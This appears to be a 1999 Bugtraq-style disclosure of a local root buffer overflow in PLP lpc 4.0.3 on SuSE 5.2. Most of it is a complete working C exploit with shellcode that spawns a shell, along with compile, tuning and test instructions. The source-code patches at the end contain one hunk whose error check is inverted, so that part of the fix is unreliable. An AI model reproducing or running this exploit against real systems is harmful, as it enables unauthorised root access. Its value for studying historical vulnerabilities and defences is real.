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Date: Wed, 3 Feb 1999 07:58:36 -0000
From: xnec@INFERNO.TUSCULUM.EDU
Subject: Linux /usr/bin/lpc overflow

greetings,

INFO:

There is a local root comprimise hole in PLP Line Printer Control program,
version 4.0.3, which is SuSE 5.2's /usr/bin/lpc.  Most other unices use a
different version of lpc (including SuSE 5.1).  You can check your version
by typing "lpc" and seeing if you get the PLP version or just "lpc>" which
is not vulnerable.

The offending code is in displayq.c and control_ops.c, where we see:
---
char afname[MAXPARMLEN];    /* attach file name */
...
if (fscanf (afp, "%s", afname) == 1) {
---

EXPLOIT:

xnec_lpc.c
----snip----

/*

Standard overflow for x86 linux lpc.  PLP Line Printer Control program,
version 4.0.3.  Tested on SuSE 5.2 (suidroot).  Test your copy of /usr/bin/lpc
by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp
The problematic code is in displayq.c and control_ops.c, where we attempt
to fscanf() the lockfile's contents into a fixed length buffer.  See the
Bugtraq post for full fix information(www.geek-girl.com/bugtraq).

The buffer we're overflowing is 256bytes, and an offset of 0 works just fine.
Try in increments of +-100 if it doesn't work for you.

Obviously this is a complete rip of Aleph1's standard overflow program from
his paper "smashing the stack for fun and profit".

to compile:
gcc -o xnec_lpc xnec_lpc.c

bugs: only sets uid=0, and you may have to have a printer defined (lp on my
box).

greets to #sk1llz

                         -xnec
      xnec on EF and DALnet, xnec@inferno.tusculum.edu

*/
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             356
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90
char pause;

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);
  printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n");
  printf("Bug found by xnec, code ripped from Aleph1.  After running this
program, simply compile and run:\n---\n#include <unistd.h>
void main(){system(\"/bin/bash\");}\n---\n");
  scanf("%c", pause);
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("`which lpc` attach lp $RET; `which lpc` status lp");

}

----snip----

FIX:

While you COULD use these diff's to patch up your lpc, I would recommend
against it as there is a perfectly good alternative in the line printer suite
available in the form of lpr-tlr-971016.tar.gz.  This is included in SuSE
5.2's source library.  If you insist on using PLP, here you go:

--- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/control_ops.c       Thu Jun 15 14:09:12 1995
+++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/control_ops.c Wed Feb
 3 12:36:17 1999
@@ -676,7 +676,7 @@

     att_mark = False;
     if ((afp = fopen_daemon (Attach_file, "r"))) { /* Try to open attach file */
-       if (fscanf (afp, "%s", afname) == 1) {
+       if (fgets (afname, sizeof(afname), afp) != NULL) {
            if (strsame (afname, Printer)) {
                fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer);
            }
@@ -1622,7 +1622,7 @@
     if ((s = C_abort ())) {
        if (stat (Attach_file, &statb) == 0) {
            if ((afp = fopen_daemon (Attach_file, "r"))) {
-               if (fscanf (afp, "%s", afname) != 1) {
+               if (fgets (afname, sizeof(afname), afp) != NULL) {
                    fatal (XLOG_INFO, "attach file for printer %s corrupted!",
                           Printer);
                }


--- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/displayq.c   Tue Aug
29 12:44:35 1995
+++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/displayq.c    Wed Feb
 3 12:35:37 1999
@@ -99,7 +99,7 @@
      * check to see if attached to another printerq, alter printer if attached
      */
     if (Attach_file && *Attach_file && ((afp = fopen (Attach_file, "r")))) {
-       if (fscanf (afp, "%s", afname) == 1) {
+       if (fgets (afname, sizeof(afname), afp) != NULL) {
            if (strsame (afname, Printer)) {
                fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer);
            }


                             -xnec

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#     xnec@inferno.tusculum.edu  -  xnec on IRC EF and DALnet    #
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